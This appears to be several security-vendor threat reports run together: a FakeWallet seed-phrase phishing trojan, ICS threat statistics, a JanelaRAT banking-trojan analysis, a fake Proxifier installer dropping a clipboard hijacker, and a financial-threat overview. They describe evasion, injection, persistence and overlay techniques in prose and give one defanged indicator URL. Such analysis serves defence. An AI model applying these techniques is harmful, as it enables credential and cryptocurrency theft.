MnemonicVerifyScreen, embedded in PortfolioNavigator
PrivateKeyVerifyScreen, embedded in MyLedgerNavigator
In the React Native ecosystem, navigators handle switching between different screens. In this case, these specific navigators are triggered when the Portfolio or Device List screens are opened. In the original app, these screens remain inaccessible until the user pairs their cold wallet with the application. This same logic is preserved in the infected version, effectively serving as an anti-debugging technique: the phishing window only appears during a realistic usage scenario.
Phishing window for seed phrase verification
The MnemonicVerifyScreen appears whenever either of those navigators is activated – whether the user is checking their portfolio or viewing info about a paired device. The PrivateKeyVerifyScreen remains unused – it is designed to handle a private key rather than a mnemonic, specifically the key generated by the wallet based on the entered seed phrase. Since Ledger Live doesn’t give users direct access to private keys or support them for importing wallets, we suspect this specific feature was actually intended for a different app.
Decompiled pseudocode of an anonymous malicious function setting up the configuration during app startup
Once a victim enters their recovery phrase on the phishing page and hits Confirm, the Trojan creates a separate thread to handle the data exfiltration. It tracks the progress of the transfer by creating three files in the app’s working directory:
verify-wallet-status.json tracks the current status and the timestamp of the last update.
verify-wallet-config.json stores the C2 server configuration the malware is currently using.
verify-wallet-pending.json holds encrypted mnemonics until they’re successfully transmitted to the C2 server. Then the clearPendingMnemonicJob function replaces the contents of the file with an empty JSON dictionary.
Next, the Trojan encrypts the captured mnemonics and sends the resulting value to the C2 server. The data is encrypted using the same algorithm described earlier (RSA encryption followed by Base64 encoding). If the app is closed or minimized, the Trojan checks the status of the previous exfiltration attempt upon restart and resumes the process if it hasn’t been completed.
Decompiled pseudocode for the submitWalletSecret function
Other distribution channels, platforms, and the SparkKitty link
During our investigation, we discovered a website mimicking the official Ledger site that hosted links to the same infected apps described above. While we’ve only observed one such example, we’re certain that other similar phishing pages exist across the web.
A phishing website hosting links to infected Ledger apps for both iOS and Android
We also identified several compromised versions of wallet apps for Android, including both previously undiscovered samples and known ones. These instances were distributed through the same malicious pages; however, we found no traces of them in the Google Play Store.
One additional detail: some of the infected apps also contained a SparkKitty module. Interestingly, these modules didn’t show any malicious activity on their own, with mnemonics handled exclusively by the FakeWallet modules. We suspect SparkKitty might be present for one of two reasons: either the authors of both malicious campaigns are linked and forgot to remove it, or it was embedded by different attackers and is currently inactive.
Victims
Since nearly all the phishing apps were exclusive to the Chinese App Store, and the infected wallets themselves were distributed through Chinese-language phishing pages, we can conclude that this campaign primarily targets users in China. However, the malicious modules themselves have no built-in regional restrictions. Furthermore, since the phishing notifications in some variants automatically adapt to the app’s language, users outside of China could easily find themselves in the crosshairs of these attackers.
Attribution
According to our data, the threat actor behind this campaign may be linked to the creators of the SparkKitty Trojan. Several details uncovered during our research point to this connection:
Some infected apps contained SparkKitty modules alongside the FakeWallet code.
The attackers behind both campaigns appear to be native Chinese speakers, as the malicious modules frequently use log messages in Chinese.
Both campaigns distribute infected apps via phishing pages that mimic the official App Store.
Both campaigns specifically target victims’ cryptocurrency assets.
Conclusion
Our research shows that the FakeWallet campaign is gaining momentum by employing new tactics, ranging from delivering payloads via phishing apps published in the App Store to embedding themselves into cold wallet apps and using sophisticated phishing notifications to trick users into revealing their mnemonics. The fact that these phishing apps bypass initial filters to appear at the top of App Store search results can significantly lower a user’s guard. While the campaign is not exceptionally complex from a technical standpoint, it poses serious risks to users for several reasons:
Hot wallet attacks: the malware can steal crypto assets during the wallet creation or import phase without any additional user interaction.
Cold wallet attacks: attackers go to great lengths to make their phishing windows look legitimate, even implementing mnemonic autocomplete to mirror the real user experience and increase their chances of a successful theft.
Investigation challenges: the technical restrictions imposed by iOS and the broader Apple ecosystem make it difficult to effectively detect and analyze malicious software directly on a device.
The percentage of ICS computers on which malicious objects were blocked has been decreasing since the beginning of 2024. In Q4 2025, it was 19.7%. Over the past three years, the percentage has decreased by 1.36 times, and by 1.25 times since Q4 2023.
Percentage of ICS computers on which malicious objects were blocked, Q1 2023–Q4 2025
Regionally, in Q4 2025, the percentage of ICS computers on which malicious objects were blocked ranged from 8.5% in Northern Europe to 27.3% in Africa.
Regions ranked by percentage of ICS computers on which malicious objects were blocked
Four regions saw an increase in the percentage of ICS computers on which malicious objects were blocked. The most notable increases occurred in Southern Europe and South Asia. In Q3 2025, East Asia experienced a sharp increase triggered by the local spread of malicious scripts, but the figure has since returned to normal.
Changes in percentage of ICS computers on which malicious objects were blocked, Q4 2025
Feature of the quarter: worms in email
In Q4 2025, the percentage of ICS computers on which wormsinemailattachments were blocked increasedinallregions of the world.
Many of the blocked threats were related to the worm Backdoor.MSIL.XWorm. This malware is designed to persist on the system and then remotely control it.
Interestingly, this threat was not detected on ICS computers in the previous quarter, yet it appeared in all regions in Q4 2025.
A study found that the active spread of Backdoor.MSIL.XWorm via phishing emails was likely linked to the use by hackers of another malware obfuscation technique that was actively used during massive phishing campaigns in Q4 2025. These campaigns have been known since 2024 as “Curriculum-vitae-catalina”.
The attackers distributed phishing emails to HR managers, recruiters, and employees responsible for hiring. The messages were disguised as responses from job applicants with subjects such as “Resume” or “Attached Resume” and contained a malicious executable file under the guise of a curriculum vitae. Typically, the file was named Curriculum Vitae-Catalina.exe. When executed, it infected the system.
In Q4 2025, the threat spread across regions in two waves — one in October and another in November. Russia, Western Europe, South America, and North America (Canada) were attacked in October. A spike in Backdoor.MSIL.XWorm blocking was observed in other regions in November. The attack subsided in all regions in December.
The highest percentage of ICS computers on which Backdoor.MSIL.XWorm was blocked was observed in regions where threats from email clients had been historically blocked at high rates on ICS computers: Southern Europe, South America, and the Middle East.
At the same time, in Africa, where USB storage media are still actively used, the threat was also detected when removable devices were connected to ICS computers.
Selected industries
The biometrics sector has historically led the rankings of industries and OT infrastructures surveyed in this report in terms of the percentage of ICS computers on which malicious objects were blocked.
These systems are characterized by accessibility to and from the internet, as well as minimal cybersecurity controls by the consumer organization.
Rankings of industries and OT infrastructure by percentage of ICS computers on which malicious objects were blocked
In Q4 2025, the percentage of ICS computers on which malicious objects were blocked increased only in one sector: oil and gas. The corresponding figures increased in two regions: Russia, and Central Asia and the South Caucasus.
However, if we look at a broader time span, there is a downward trend in all the surveyed industries.
Percentage of ICS computers on which malicious objects were blocked in selected industries
Diversity of detected malicious objects
In Q4 2025, Kaspersky protection solutions blocked malware from 10,142 different malware families of various categories on industrial automation systems.
Percentage of ICS computers on which the activity of malicious objects from various categories was blocked
In Q4 2025, there was an increase in the percentage of ICS computers on which worms, and miners in the form of executable files for Windows were blocked. These were the only categories that exhibited an increase.
Main threat sources
Depending on the threat detection and blocking scenario, it is not always possible to reliably identify the source. The circumstantial evidence for a specific source can be the blocked threat’s type (category).
The internet (visiting malicious or compromised internet resources; malicious content distributed via messengers; cloud data storage and processing services and CDNs), email clients (phishing emails), and removable storage devices remain the primary sources of threats to computers in an organization’s technology infrastructure.
In Q4 2025, the percentage of ICS computers on which malicious objects from various sources were blocked decreased. All sources except email clients saw their lowest levels in three years.
Percentage of ICS computers on which malicious objects from various sources were blocked
The same computer can be attacked by several categories of malware from the same source during a quarter. That computer is counted when calculating the percentage of attacked computers for each threat category, but is only counted once for the threat source (we count unique attacked computers). In addition, it is not always possible to accurately determine the initial infection attempt. Therefore, the total percentage of ICS computers on which various categories of threats from a certain source were blocked can exceed the percentage of computers affected by the source itself.
In Q4 2025, the percentage of ICS computers on which threats from the internet were blocked decreased to 7.67% and reached its lowest level since the beginning of 2023. The main categories of internet threats are malicious scripts and phishing pages, and denylisted internet resources. The percentage ranged from 3.96% in Northern Europe to 11.33% in South Asia.
The main categories of threats from email clients blocked on ICS computers were malicious scripts and phishing pages, spyware, and malicious documents. Most of the spyware detected in phishing emails was delivered as a password archive or a multi-layered script embedded in office document files. The percentage of ICS computers on which threats from email clients were blocked ranged from 0.64% in Northern Europe to 6.34% in Southern Europe.
The main categories of threats that were blocked when removable media was connected to ICS computers were worms, viruses, and spyware. The percentage of ICS computers on which threats from removable media were blocked ranged from 0.05% in Australia and New Zealand to 1.41% in Africa.
The main categories of threats that spread through network folders in Q4 2025 were viruses, AutoCAD malware, worms, and spyware. The percentage of ICS computers on which threats from network folders were blocked ranged from 0.01% in Northern Europe to 0.18% in East Asia.
Threat categories
Typical attacks blocked within an OT network are multi-step sequences of malicious activities, where each subsequent step of the attackers is aimed at increasing privileges and/or gaining access to other systems by exploiting the security problems of industrial enterprises, including OT infrastructures.
Malicious objects used for initial infection
In Q4 2025, the percentage of ICS computers on which denylisted internet resources were blocked decreased to 3.26%. This is the lowest quarterly figure since the beginning of 2022, and it has decreased by 1.8 times since Q2 2025.
Percentage of ICS computers on which denylisted internet resources were blocked, Q1 2023–Q4 2025
Regionally, the percentage of ICS computers on which denylisted internet resources were blocked ranged from 1.74% in Northern Europe to 3.93% in Southeast Asia, which displaced Africa from first place. Russia rounded out the top three regions for this indicator.
The percentage of ICS computers on which malicious documents were blocked increased for three consecutive quarters. However, in Q4 2025 it decreased by 0.22 pp to 1.76%.
Percentage of ICS computers on which malicious documents were blocked, Q1 2023–Q4 2025
Regionally, the percentage ranged from 0.46% in Northern Europe to 3.82% in Southern Europe. In Q4 2025, the indicator increased in Eastern Europe, Russia, and Western Europe.
The percentage of ICS computers on which malicious scripts and phishing pages were blocked decreased to 6.58%. Despite the decline, this category led the rankings of threat categories in terms of the percentage of ICS computers on which they were blocked.
Percentage of ICS computers on which malicious scripts and phishing pages were blocked, Q1 2023–Q4 2025
Regionally, the percentage ranged from 2.52% in Northern Europe to 10.50% in South Asia. The indicator increased in South Asia, South America, Southern Europe, and Africa. South Asia saw the most notable increase, at 3.47 pp.
Next-stage malware
Malicious objects used to initially infect computers deliver next-stage malware — spyware, ransomware, and miners — to victims’ computers. As a rule, the higher the percentage of ICS computers on which the initial infection malware is blocked, the higher the percentage for next-stage malware.
In Q4 2025, the percentage of ICS computers on which spyware, ransomware and web miners were blocked decreased. The rates were:
Spyware: 3.80% (down 0.24 pp). For the second quarter in a row, spyware took second place in the rankings of threat categories in terms of the percentage of ICS computers on which it was blocked.
Ransomware: 0.16% (down 0.01 pp).
Web miners: 0.24% (down 0.01 pp), this is the lowest level observed thus far in the period under review.
The percentage of ICS computers on which miners in the form of executable files for Windows were blocked increased to 0.60% (up 0.03 pp).
Self-propagating malware
Self-propagating malware (worms and viruses) is a category unto itself. Worms and virus-infected files were originally used for initial infection, but as botnet functionality evolved, they took on next-stage characteristics.
To spread across ICS networks, viruses and worms rely on removable media and network folders and are distributed in the form of infected files, such as archives with backups, office documents, pirated games and hacked applications. In rarer and more dangerous cases, web pages with network equipment settings, as well as files stored in internal document management systems, product lifecycle management (PLM) systems, resource management (ERP) systems and other web services are infected.
In Q4 2025, the percentage of ICS computers on which worms were blocked increased by 1.6 times to 1.60%. As mentioned above, this increase is related to a global phishing attack that spread the Backdoor.MSIL.XWorm backdoor worm across all regions of the world. The percentage increased in all regions. The biggest increase (up by 2.16 times) was in Southern Europe. The malware was primary distributed through email clients, and Southern Europe led the way in terms of the percentage of ICS computers on which threats from email clients were blocked.
The percentage of ICS computers on which viruses were blocked decreased to 1.33%.
AutoCAD malware
This category of malware can spread in a variety of ways, so it does not belong to a specific group.
After an increase in the previous quarter, the percentage of ICS computers on which AutoCAD malware was blocked decreased to 0.29% in Q4 2025.
JanelaRAT is a malware family that takes its name from the Portuguese word “janela” which means “window”. JanelaRAT looks for financial and cryptocurrency data from specific banks and financial institutions in the Latin America region.
JanelaRAT is a modified variant of BX RAT that has targeted users since June 2023. One of the key differences between these Trojans is that JanelaRAT uses a custom title bar detection mechanism to identify desired websites in victims’ browsers and perform malicious actions.
The threat actors behind JanelaRAT campaigns continuously update the infection chain and malware versions by adding new features.
Kaspersky solutions detect this threat as Trojan.Script.Generic and Backdoor.MSIL.Agent.gen.
Initial infection
JanelaRAT campaigns involve a multi-stage infection chain. It starts with emails mimicking the delivery of pending invoices to trick victims into downloading a PDF file by clicking a malicious link. Then the victims are redirected to a malicious website from which a compressed file is downloaded.
Malicious email used in JanelaRAT campaigns
Throughout our monitoring of these malware campaigns, the compressed files have typically contained VBScripts, XML files, other ZIP archives, and BAT files. They ultimately lead to downloading a ZIP archive that contains components for DLL sideloading and executing JanelaRAT as the final payload.
However, we have observed variations in the infection chains depending on the delivered version of the malware. The latest observed campaign evolved by integrating MSI files to deliver a legitimate PE32 executable and a DLL, which is then sideloaded by the executable. This DLL is actually JanelaRAT, delivered as the final payload.
Based on our analysis of previous JanelaRAT intrusions, the updates in the infection chain represent threat actors’ attempts to streamline the process, with a reduced number of malware installation steps. We’ve observed a logical sequence in how components, such as MSI files, have been incorporated and adapted over time. Moreover, we have observed the use of auxiliary files — additional components that aid in the infection — such as configuration files that have been changing over time, showing how the threat actors have adapted these infections in an effort to avoid detection.
JanelaRAT infection flow evolution
Initial dropper
The MSI file acts as an initial dropper designed to install the final implant and establish persistence on the system. It obfuscates file paths and names with the objective to hinder analysis. This code is designed to create several ActiveX objects to manipulate the file system and execute malicious commands.
Among the actions taken, the MSI defines paths based on environment variables for hosting binaries, creating a startup shortcut, and storing a first-run indicator file. The dropper file checks for the existence of the latter and for a specific path, and if either is missing, it creates them. If the file exists, the MSI file redirects the user to an external website as a decoy, showing that everything is “normal”.
The MSI dropper places two files at a specified path: the legitimate executable nevasca.exe and the PixelPaint.dll library, renaming them with obfuscated combinations of random strings before relocating. An LNK shortcut is created in the user’s Startup folder, pointing to the renamed nevasca.exe executable, ensuring persistence. Finally, the nevasca.exe file is executed, which in turn loads the PixelPaint.dll file that is JanelaRAT.
Malicious implant
In this case, we analyzed JanelaRAT version 33, which was masqueraded as a legitimate pixel art app. Similar to other malware versions, it was protected with Eazfuscator, a common .NET obfuscation tool. We have also seen previous JanelaRAT samples that used the ConfuserEx obfuscator or its custom builds. The malware uses Control Flow Flattening method and renames classes and variables to make the code unreadable without deobfuscation.
JanelaRAT monitors the victim’s activity, intercepts sensitive banking interactions, and establishes an interactive C2 channel to report changes to the threat actor. While screen monitoring is also present, the core functionality focuses on financial fraud and real-time manipulation of the victim’s machine. The malware collects system information, including OS version, processor architecture (32-bit, 64-bit, or unknown), username, and machine name. The Trojan evaluates the current user’s privilege level and assigns different nicknames for administrators, users, guests, and an additional one for any other role.
The malware then retrieves the current date and constructs a beacon to register the victim on the C2 server, along with the malware version. To prevent multiple instances, the malware creates the mutex and exits if it already exists.
String encryption
All JanelaRAT samples utilize encrypted strings for sending information to the C2 and obfuscating embedded data. The encryption algorithm remains consistent across campaigns, combining base64 encoding with Rijndael (AES). The encryption key is derived from the MD5 hash of a 4-digit number and the IV is composed of the first 16 bytes of the decoded base64 data.
C2 communication and command handling
After initialization, JanelaRAT establishes a TCP socket, configuring callbacks for connection events and message handling. It registers all known message types, executing specific system tasks based on the received message.
Following socket initialization, the malware launches two background routines:
User inactivity and session tracking
This routine activates timers and launches secondary threads, including an internal timer and a user inactivity monitor. The malware determines if the victim’s machine has been inactive for more than 10 minutes by calculating the elapsed time since the last user input. If the inactivity period exceeds 10 minutes, the malware notifies the C2 by sending the corresponding message. Upon user activity, it notifies the threat actor again. This makes it possible to track the user’s presence and routine to time possible remote operations.
Timer that looks for 10 minutes of inactivity
Victim registration and further malicious activity
This routine is launched immediately after the socket setup. It triggers two subroutines responsible for periodic HTTP beaconing and downloading additional payloads.
The first subroutine executes a PowerShell downloaded from a staging server during post-exploitation. Its main objective is to establish persistence by downloading the PixelPaint.dll file once again. The routine then builds and executes periodic HTTP requests to the C2, reporting the malware’s version and the victim machine’s security environment. It loops continuously as long as a specific local file does not exist, ensuring repeated telemetry transmission. The file was not observed being extracted or created by the malware itself; rather, it appears to be placed on the system by the threat actor during other post-exploitation activities. Based on previous incidents, this file likely contains instructions for establishing persistence.
This JanelaRAT version constructs a second C2 URL for beaconing, using several decrypted strings and following a pattern that uses different parameters to report information about new victims:
We have observed constant changes in the parameters across campaigns. A new parameter “AN” was introduced in this version. It is used to detect the presence of a specific process associated with banking security software. If such software is found on the victim’s device, the malware notifies the threat actor.
Parameter
Description
VS
JanelaRAT version
PL
OFF by default
AN
Yes or No depending on whether banking security software process exists
The second subroutine is responsible for monitoring the user’s visits to banking websites and reporting any activity of interest to the threat actor. JanelaRAT 33v is specifically engineered to target Brazilian financial institutions. However, we have also observed other versions of the malware targeting other specific countries in the region, such as the “Gold-Label” version targeting banking users in Mexico that we described earlier.
This subroutine creates a timer to enable an active system monitoring cycle. During this cycle, the malware obtains the title of the active window and checks if it matches entries of interest using a hardcoded but obfuscated list of financial institutions. Although the threat actors behind JanelaRAT primarily focus on one country as a target, the list of financial institutions is constantly updated.
If a title bar matches one of the listed targets, the malware waits 12 seconds before establishing a dedicated communication channel to the C2. This channel is used to execute malicious tasks, including taking screenshots, monitoring keyboard and mouse input, displaying messages to the user, injecting keystrokes or simulating mouse input, and forcing system shutdown.
To perform these actions, the malware uses a dedicated C2 handler that interprets incoming commands from the C2. Notably, 33v supports live banking session hijacking, not just credential theft.
Action Performed
Description
Capture desktop image
Send compressed screenshots to the C2
Specific screenshots
Crop specific screen regions and exfiltrate images
Overlay windows
Display images in full-screen mode, limit user interactions, and mimic bank dialogs to harvest credentials
Keylogging
Keystroke capture
Simulate keyboard
Inject keys such as DOWN, UP, and TAB to navigate or trigger new elements
Track mouse input
Move the cursor, simulate clicks, and report the cursor position
Display message
Show message boxes (custom title, text, buttons, or icons)
System shutdown
Execute a forced shutdown sequence
Command execution
Run CMD or PowerShell scripts/commands
Task Manager
manipulation
Launch Task Manager, find its window, and hide it to prevent discovery by the user
Check for banking security software process
Detect the presence of anti-fraud systems
Beaconing
Send host information (malware version, profile, presence of banking software)
Toggle internal modes
Enable and disable modes such as screenshot flow, key injection, or overlay visibility
Anti-analysis
Detect sandbox or automation tools
C2 infrastructure
Unlike other versions, this variant rotates its C2 server daily. Once a title bar matches the one in the list, the software dynamically constructs the C2 channel domain by concatenating an obfuscated string, the current date, and a suffix domain related to a legitimate dynamic DNS (DDNS) service. This communication is established using port 443, but not TLS.
Decoy overlay system
This version of JanelaRAT implements a decoy overlay system designed to capture banking credentials and bypass multi-factor authentication. When a target banking window is detected, the malware requests further instructions from the C2 server. The C2 responds with a command identifier and a Base64-encoded image, which is then displayed as a full-screen overlay window mimicking legitimate banking or system interfaces. The malware ensures the fake window completely covers the screen and limits the victim’s interaction with the system.
The malware blocks the victim’s interaction by displaying modal dialogs. Each modal dialog corresponds to a specific operation, such as password capture, token/MFA capture, fake loading screen, fake Windows update full-screen modal and more. The malware resizes the overlay, scans multiple screens, and loads deceptive elements to distract the user or temporarily hide legitimate application windows.
Among other fake elements, the malware displays fake Windows update notifications, often accompanied by messages in Brazilian Portuguese, such as:
“Configuring Windows updates, please wait.”
“Do not turn off your computer; this could take some time.”
When a message command is received from the operator, the malware constructs a custom message box based on parameters sent from the server. These parameters include the message title, text content, button type (e.g., OK, Yes/No), and icon type (e.g., Warning, Error). The malware then creates a maximized message box positioned at the top of the screen, ensuring it captures user focus and blocks the visibility of other windows, mimicking a system or security alert.
An obfuscated acknowledgement string is sent back to the C2 to confirm successful execution of this task.
Anti-analysis techniques
In addition to the conditional behavior based on whether the process of banking security software is detected, the malware includes anti-analysis routines and computer environment checks, such as sandbox detection through the Magnifier and MagnifierWindow components. These components are used to determine if accessibility tools are active on the infected computer indicating a possible malware analysis environment.
Persistence
The malware establishes persistence by writing a command script into the Windows Startup directory. This script forces the execution chain to run at each user logon enabling malicious activity without triggering privilege escalation prompts. The script is executed silently to evade user awareness.
This method is either an alternative or a supplement to the persistence method previously described in the subroutines responsible for periodic HTTP beaconing section.
Victimology
Consistent with previous intrusions and campaigns, the primary targets of the threat actors distributing JanelaRAT are banking users in Latin America, with specific focus on users of financial institutions in Brazil and Mexico.
According to our telemetry, in 2025 we detected 14,739 attacks in Brazil and 11,695 in Mexico related to JanelaRAT.
Conclusions
JanelaRAT remains an active and evolving threat, with intrusions exhibiting consistent characteristics despite ongoing modifications. We have tracked the evolution of JanelaRAT infections for some time, observing variations in both the malware itself and its infection chain, including targeted variants for specific countries.
This variant represents a significant advancement in the actor’s capabilities, combining multiple communication channels, comprehensive victim monitoring, interactive overlays, input injection, and robust remote control features. The malware is specifically designed to minimize user visibility and adapt its behavior upon detection of anti-fraud software.
To mitigate the risk of communication with the C2 infrastructure utilizing similar evasive techniques, we recommend that defenders block dynamic DNS services at the corporate perimeter or internal DNS resolvers. This will disrupt the communication channels used by JanelaRAT and similar threats.
At the start of the year, a certain Trojan caught our eye due to its incredibly long infection chain. In most cases, it kicks off with a web search for “Proxifier”. Proxifiers are speciaized software designed to tunnel traffic for programs that do not natively support proxy servers. They are a go-to for making sure these apps are functional within secured development environments.
By coincidence, Proxifier is also a name for a proprietary proxifier developed by VentoByte, which is distributed under a paid license.
If you search for Proxifier (or a proxifier), one of the top results in popular search engines is a link to a GitHub repository. That’s exactly where the source of the primary infection lives.
The GitHub project itself contains the source code for a rudimentary proxy service. However, if you head over to the Releases section, you’ll find an archive containing an executable file and a text document. That executable is actually a malicious wrapper bundled around the legitimate Proxifier installer, while the text file helpfully offers activation keys for the software.
Once launched, the Trojan’s first order of business is to add an exception to Microsoft Defender for all files with a TMP extension, as well as for the directory where the executable is sitting. The way the Trojan pulls this off is actually pretty exotic.
First, it creates a tiny stub file – only about 1.5 KB in size – in the temp directory under the name “Proxifier<???>.tmp” and runs it. This stub doesn’t actually do anything on its own; it serves as a donor process. Later, a .NET application named “api_updater.exe” is injected into it to handle the Microsoft Defender exclusions. To get this done, api_updater.exe decrypts and runs a PowerShell script using the PSObject class. PSObject lets the script run directly inside the current process without popping up a command console or launching the interpreter.
As soon as the required exclusions are set, the trojanized proxifier.exe extracts and launches the real Proxifier installer. Meanwhile, it quietly continues the infection in the background: it creates another donor process and injects a module named proxifierupdater.exe. This module acts as yet another injector. It launches the system utility conhost.exe and injects it with another .NET app, internally named “bin.exe”, which runs a PowerShell script using the same method as before.
The script is obfuscated and parts of it are encoded, but it really only performs four specific actions:
Add the “powershell” and “conhost” processes to Microsoft Defender exclusions.
Create a registry key at HKLM\SOFTWARE\System::Config and store another Base64-encoded PowerShell script inside it.
Set up a scheduled task to launch PowerShell with another script as an argument. The script’s task is to read the content of the created registry key, decode it, and transfer control to the resulting script.
Ping an IP Logger service at https[:]//maper[.]info/2X5tF5 to let the attackers know the infection was successful.
This wraps up the primary stage of the infection. As you can see, the Trojan attempts to use fileless (or bodiless) malware techniques. By executing malicious code directly in allocated memory, it leaves almost no footprint on the hard drive.
The next stage is launched along with the task created in the scheduler. This is what it looks like:
The task launches the PowerShell interpreter, passing the script from the arguments as input. As we already mentioned, it reads the contents of the previously created Config registry key, then decodes and executes it. This is yet another PowerShell script whose job is to download the next script from hardcoded addresses and execute it. These addresses belong to Pastebin-type services, and the content located there is encoded in several different ways at once.
Decoded and deobfuscated script from the Config registry key
The script from Pastebin continues the download chain. This time, the payload is located on GitHub.
Decoded script from Pastebin
It’s a massive script, clocking in at around 500 KB. Interestingly, the bulk of the file is just one long Base64 string. After decoding it and doing some deobfuscation, we end up with a script whose purpose is quite clear. It extracts shellcode from a Base64 string, launches the fontdrvhost.exe utility, injects the shellcode into it, and hands over control.
The shellcode, in turn, unpacks and sets up the code for the final payload. This is classic ClipBanker-like malware, and there’s nothing particularly fancy about it. It’s written in C++, compiled with MinGW, doesn’t bother with system persistence, and doesn’t even connect to the network. Its entire job is to constantly monitor the clipboard for strings that look like crypto wallet addresses belonging to various blockchain-based networks (Cardano, Algorand, Ethereum, Bitcoin, NEM, Stellar, BNB, Cosmos, Dash, Monero, Dogecoin, MultiversX, Arweave, Filecoin, Litecoin, Neo, Osmosis, Solana, THOR, Nano, Qtum, Waves, TRON, Ripple, Tezos, and ZelCash), and then swap them with the attackers’ own addresses.
The complete execution chain, from the moment the malicious installer starts until the ClipBanker code is running, looks like this:
Victims
Since the beginning of 2025, more than 2000 users of Kaspersky solutions have encountered this threat, most of them located in India and Vietnam. Interestingly, 70% of these detections came from the Kaspersky Virus Removal Tool, a free utility used to clean devices that are already infected. This underscores the importance of the preemptive protection: it is often cheaper and easier to prevent the infection than to face consequences of a successful attack.
Conclusion
This campaign is yet another perfect example of the old adage: “buy cheap, pay twice”. Trying to save a buck on software, combined with a lack of caution when hunting for free solutions, can lead to an infection and the subsequent theft of funds – in this case, cryptocurrency. The attackers are aggressively promoting their sites in search results and using fileless techniques alongside a marathon infection chain to stay under the radar. Such attacks are difficult to detect and stop in time.
To stay safe and avoid losing your money, use reliable security solutions that are able to prevent your device form being infected. Download software only from official sources. If for some reason you can’t use a reputable paid solution, we highly recommend thoroughly vetting the sites you use to download software.
In 2025, the financial cyberthreat landscape continued to evolve. While traditional PC banking malware declined in relative prevalence, this shift was offset by the rapid growth of credential theft by infostealers. Attackers increasingly relied on aggregation and reuse of stolen data, rather than developing entirely new malware capabilities.
To describe the financial threat landscape in 2025, we analyzed anonymized data on malicious activities detected on the devices of Kaspersky security product users and consensually provided to us through the Kaspersky Security Network (KSN), along with publicly available data and data on the dark web.
We analyzed the data for
financial phishing,
banking malware,
infostealers and the dark web.
Key findings
Phishing
Phishing activity in 2025 shifted toward e-commerce (14.17%) and digital services (16.15%), with attackers increasingly tailoring campaigns to regional trends and user behavior, making social engineering more targeted despite reduced focus on traditional banking lures.
Banking malware
Financial PC malware declined in prevalence but remained a persistent threat, with established families continuing to operate, while attackers increasingly prioritize credential access and indirect fraud over deploying complex banking Trojans. To the contrary, mobile banking malware continues growing, as we wrote in detail in our mobile malware report.
Infostealers and the dark web
Infostealers became a central driver of financial cybercrime, fueling a growing dark web economy where stolen credentials, payment data, and full identity profiles are traded at scale, enabling widespread and destructive fraud operations.
Financial phishing
In 2025, online fraudsters continued to lure users to phishing and scam pages that mimicked the websites of popular brands and financial organizations. Attackers leveraged increasingly convincing social engineering techniques and brand impersonation to exploit user trust. Rather than relying solely on volume, campaigns showed greater targeting and contextual adaptation, reflecting a maturation of phishing operations.
The distribution of top phishing categories in 2025 shows a clear shift toward digital platforms that aggregate multiple user activities, with web services (16.15%), online games (14.58%), and online stores (14.17%) leading globally. Compared to 2024, the rise of online games and the decline of social networks and banks indicate that attackers are increasingly targeting environments where users are more likely to take a risk or engage impulsively. Categories such as instant messaging apps and global internet portals remain significant phishing targets, reflecting their role as communication and access hubs that can be exploited for credential harvesting.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices, 2025 (download)
Regional patterns further reinforce the adaptive nature of phishing campaigns, showing that attackers closely align category targeting with local digital habits. For example, online stores dominate heavily in the Middle East.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the Middle East, 2025 (download)
Online games and instant messaging platforms feature more prominently in the CIS, suggesting a focus on younger or highly connected user bases.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the CIS, 2025 (download)
APAC demonstrates almost equal shares of online games and banks which signifies a combined approach targeting different users.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in APAC, 2025 (download)
In Africa, a stronger emphasis on banks reflects the continued importance of traditional financial services. Most likely, this is due to the lower security level of the financial institutions in the region.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Africa, 2025 (download)
Whereas in LATAM, delivery companies appearing in the top categories indicate attackers exploiting the growth of e-commerce logistics.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Latin America, 2025 (download)
Europe presents a more balanced distribution across categories, pointing to diversified attack strategies.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Europe, 2025 (download)
Attackers actively localize their tactics to maximize relevance and effectiveness.
The distribution of financial phishing pages by category in 2025 reveals strong regional asymmetries that reflect both user behavior and attacker prioritization.
Globally, online stores dominated (48.45%), followed by banks (26.05%) and payment systems (25.50%). The decline in bank phishing may suggest that these services are becoming increasingly difficult to successfully impersonate, so fraudsters are turning to easier ways to access users’ finances.
However, this balance shifts significantly at the regional level.
In the Middle East, phishing is overwhelmingly concentrated on e-commerce (85.8%), indicating a heavy reliance on online retail lures, whereas in Africa, bank-related phishing leads (53.75%), which may indicate that user account security there is still insufficient. LATAM shows a more balanced distribution but with a higher share of online store targeting (46.30%), while APAC and Europe display a more even spread across all three categories, pointing to diversified attack strategies. These variations suggest that attackers are not operating uniformly but are instead adapting campaigns to regional digital habits, payment ecosystems, and trust patterns – maximizing effectiveness by aligning phishing content with the most commonly used financial services in each market.
Distribution of financial phishing pages by category and region, 2025 (download)
Online shopping scams
The distribution of organizations mimicked by phishing and scam pages in 2025 highlights a clear shift toward globally recognized digital service and e-commerce brands, with attackers prioritizing platforms that have large, active user bases and frequent payment interactions.
Netflix (28.42%) solidified its ranking as the most impersonated brand, followed by Apple (20.55%), Spotify (18.09%), and Amazon (17.85%). This reflects a move away from traditional retail-only targets toward subscription-based and ecosystem-driven services.
TOP 10 online shopping brands mimicked by phishing and scam pages, 2025 (download)
Regionally, this trend varies: Netflix dominates heavily in the Middle East, Apple leads in APAC, while Spotify ranks first across Europe, LATAM, and Africa. Although most of the top platforms are highly popular across different regions, we may suggest that the attackers tailor brand impersonation to regional popularity and user engagement.
Payment system phishing
Phishing campaigns are impersonating multiple payment ecosystems to maximize coverage. While PayPal was the most mimicked in 2024 with 37.53%, its share dropped to 14.10% in 2025. Mastercard, on the contrary, attracted cybercriminals’ attention, its share increasing from 30.54% to 33.45%, while Visa accounted for a significant 20.06% (last year, it wasn’t in the TOP 5), reinforcing the growing focus on widely used banking card networks. The continued presence of American Express (3.87%) and the increasing number of pages mimicking PayPay (11.72%) further highlight attacker experimentation and regional adaptation.
TOP 5 payment systems mimicked by phishing and scam pages, 2025 (download)
Financial malware
In 2025, the decline in users affected by financial PC malware continued. On the one hand, people continue to rely on mobile devices to manage their finances. On the other hand, some of the most prominent malware families that were initially designed as bankers had not used this functionality for years, so we excluded them from these statistics.
